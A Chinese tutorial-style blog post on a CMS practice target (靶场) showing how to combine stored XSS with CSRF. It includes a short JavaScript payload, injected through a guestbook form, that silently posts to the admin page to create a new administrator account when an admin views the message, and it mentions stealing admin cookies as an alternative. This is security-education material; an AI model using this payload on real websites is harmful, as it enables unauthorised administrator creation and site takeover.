目录
简介
(案例中将使用cms靶场来进行演示)
在实战中CSRF利用条件十分苛刻,因为我们需要让受害者点击我们的恶意请求不是一件容易的事情 。所以单单一个CSRF漏洞危害是很小的,所以我们为了扩大危害,就需要借助XSS漏洞与之配合 。我们利用XSS漏洞让受害者执行JS代码,JS代码有发起请求的功能,借此功能我们配合CSRF漏洞达成我们的攻击。我们利用XSS执行JS代码的时候发起我们构造的恶意请求,从而能达到让受害者无感知地受到攻击。
如何通过js发起请求,具体来说有以下步骤
-
创建 XMLHttpRequest实例
-
发出 HTTP 请求
-
接收服务器传回的数据
-
更新网页数据
如何进行实战
-
分析功能点的请求接口,构造恶意请求(创建网站后台管理员账密)
-
编写发起恶意请求的恶意JS
-
寻找XSS漏洞
-
使用恶意的JS进行XSS攻击
进入后台创建一个新用户进行接口分析
构造注入代码
根据刚刚抓到的包构造创建一个新管理员的代码
html
<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","添加管理员的页面",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=test&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>
寻找XSS漏洞并注入
载我安装的cms中发现有留言板尝试注入,将刚刚编写好的注入代码插入到输入框,留言页面的输入框都可以尝试注入
留言成功
现在我们到后台模拟管理员审核
(现在是没有管理员的)
管理员查看留言
现在再看管理员界面发现多了一个管理员正是我们模拟创建的管理员
小结
你的xss漏洞打到网站后台,并不一定要添加管理员,你也可以抓取管理员的cookie。本次攻击的最大工臣还是xss漏洞,没有xss漏洞这次攻击是无从谈起的。
这个漏洞在如今已经已经几乎不存在了,因为csrf很好防御。
不嫌弃的点点关注,点点赞 ଘ(੭ˊᵕˋ)੭* ੈ✩‧₊˚